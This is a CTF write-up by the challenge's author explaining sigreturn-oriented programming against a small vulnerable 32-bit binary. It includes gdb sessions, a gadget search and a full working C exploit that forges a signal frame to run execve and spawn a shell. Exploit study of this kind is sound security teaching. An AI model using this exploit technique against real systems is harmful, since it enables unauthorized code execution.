This
is a writeup for pwnable800 using
sigreturn Return Oriented Programming exploitation , it is a new and
useful exploitation approach
when you don't have enough gadgets to make a reliable ROP chain .
This was introduced by Erik Bosman
in OHM2013 .
Return
to signals Exploitation trick is very generic, thus it makes a good
exploitation reliability.
I
was a CTF ogranizer in MCSC2014 computer security contest in
ENSIAS,Rabat , I've made a binary with 800 points and it was one of
the highest levels since sigreturn ROP still not a common technique.
Unfortunately , no team has solved it ,
that's why I decided to write something about it.
You
can download it from here :
https://github.com/0x36/MCSC2014/tree/master/pwnables/p800
The
code is very small and easy to spot where
the vulnerability is , it is a basic stack
based overflow with full controll of the stack.
s36@hacker:~/MCSC2014/pwnables/p800
on master # gdb -q tinypwn
Reading
symbols from /home/s36/MCSC2014/pwnables/p800/tinypwn...(no debugging
symbols found)...done.
(gdb)
r
Starting
program: /home/s36/MCSC2014/pwnables/p800/tinypwn
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program
received signal SIGSEGV, Segmentation fault.
0x61616161
in ?? ()
(gdb)
x/10xw $sp
0xfffac494: 0x61616161 0x61616161 0x61616161 0x61616161
0xfffac4a4: 0x61616161 0x61616161 0x61616161 0xfffac80a
0xfffac4b4: 0xfffac854 0xfffac868
(gdb)
it
looks like easy , let's take a look at the security features
s36@hacker:~/MCSC2014/pwnables/p800
on master # cat
/proc/sys/kernel/randomize_va_space
2
s36@hacker:~/MCSC2014/pwnables/p800
on master # readelf -l tinypwn |grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000
0x00000 RW 0x10
s36@hacker:~/MCSC2014/pwnables/p800
on master # cat /proc/$(pidof tinypwn)/maps
08048000-08049000
r-xp 00000000 08:07 1323462
/home/s36/MCSC2014/pwnables/p800/tinypwn
f77d2000-f77d3000
r-xp 00000000 00:00 0 [vdso]
fff8c000-fffad000
rw-p 00000000 00:00 0 [stack]
ASLR
and NX (in modern distros) are enabled by default ,so we can't jump
into our user input (shellcode) in the stack . Time for ROP
exploitation.
(gdb)
x/5i 0xf77c342e
0xf77c342e
<__kernel_vsyscall+14>: int 0x80
0xf77c3430
<__kernel_vsyscall+16>: pop ebp
0xf77c3431
<__kernel_vsyscall+17>: pop edx
0xf77c3432
<__kernel_vsyscall+18>: pop ecx
0xf77c3433
<__kernel_vsyscall+19>: ret
(gdb)
x/2i 0x08048107
0x08048107
<+17>: int 0x80
0x08048109
<+19>: ret
we
were looking for some rop gadgets , we found only two gadgets one in
vdso section and the other in the binary itself , so we can control
ebp,edx,ecx but there is no way to control ebx .
Time
for sigreturn(unsigned long __unused)
exploitation technique , all we need is a gadget for « int
0x80;ret » and a control of eax .
read()
syscall returns the number of bytes being read , we should set
__NR_sigreturn in eax register and overwrite EIP with « int
0x80;ret » gadget.
s36@hacker:~/MCSC2014/pwnables/p800
on master # strace -e sigreturn -ff ./poc
139 ↵ ✭
[
Process PID=6243 runs in 32 bit mode. ]
sigreturn()
= 0
---
SIGSEGV (Segmentation fault) @ 0 (0) ---
+++
killed by SIGSEGV +++
[1]
6242 segmentation fault strace -e sigreturn -ff ./poc
sigreturn()
is successefully called , let's take a look at it using gdb .
(gdb)
r
Starting
program: /home/s36/MCSC2014/pwnables/p800/poc
process
1849 is executing new program:
/home/s36/MCSC2014/pwnables/p800/tinypwn
Program
received signal SIGSEGV, Segmentation fault.
0xcccccccc
in ?? ()
(gdb)
i r
eax
0x0 0
ecx
0xcccccccc -858993460
edx
0xcccccccc -858993460
ebx
0xcccccccc -858993460
esp
0xcccccccc 0xcccccccc
ebp
0xcccccccc 0xcccccccc
esi
0xcccccccc -858993460
edi
0xcccccccc -858993460
eip
0xcccccccc 0xcccccccc
eflags
0x40ec6 [ PF ZF SF IF DF OF AC ]
cs
0xcccf 52431
ss
0xcccf 52431
ds
0x0 0
es
0x0 0
fs
0x0 0
gs
0x0 0
(gdb)
perfect !
we are controlling all registers , but eax has 0 because the segment
registers doesn't have the right values .
It'd
be
easy to get those values by writing some lines
of Assembly
code to
get %cs,%ds,%fs and%gs segment register values .
%esp
and %ebp must point to a writeable memory address .
Finally,
we can do an infinite ROP chain , the final rop chain will be :
segreturn() + execve().
We
must have a static address pointing to a NULL
terminated
string to
make it as the first argument of execve()
syscall .
(gdb)
x/s 0x80480ef
0x80480ef
<aMsg+14>: "badass"
final
rop chain :
eax
= 11
ebx
= a string pointer
ecx
= 0
edx
= 0
eip
= « int 0x80 »
Final
Exploit :
.
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <asm/sigcontext.h> #define SIGRETURN 119 #define SYSCALL 0x8048107 #define exec 0x80480ef /* badass */ unsigned long get_stack_addr() { unsigned long esp; __asm__ volatile ("movl %%esp,%%eax\n\t" "movl %%eax,%0" :"=r"(esp) ); return esp; } int main(int argc,char **argv) { char *args[4096]={0}; unsigned char input[4096*2]={0}; int i; int fds[2]; struct sigcontext scon; memset(&scon,0,sizeof(struct sigcontext)); scon.eax = 11; /* execve syscall no */ scon.ebx = exec; /* "badass" the wrapper of our shellcode */ scon.ecx = 0; scon.edx = 0; scon.esp = scon.ebp = get_stack_addr(); /* must be a writeable section */ scon.eip = SYSCALL; /* 0xabad1dea; our new EIP control */ scon.cs = 0x23; scon.ss = scon.ds = scon.es = 0x2B; for(i=1;i<4096;i+=1) args[i]="\x41"; pipe(fds); dup2(fds[0],0); memset(input,0xcc,sizeof(input)); memcpy(&input[4],&scon,sizeof(struct sigcontext)); /* We control EIP by "int $0x80;ret" */ *(void**)(input) = SYSCALL; /* Make read() returns the sigreturn syscall number */ write(fds[1],input,SIGRETURN); args[0] = "./tinypwn"; args[4096] = NULL; execve(args[0],args,NULL); return 0; }
and
we got SHELL :
easy
:) , right ?
Hope
you enjoyed it.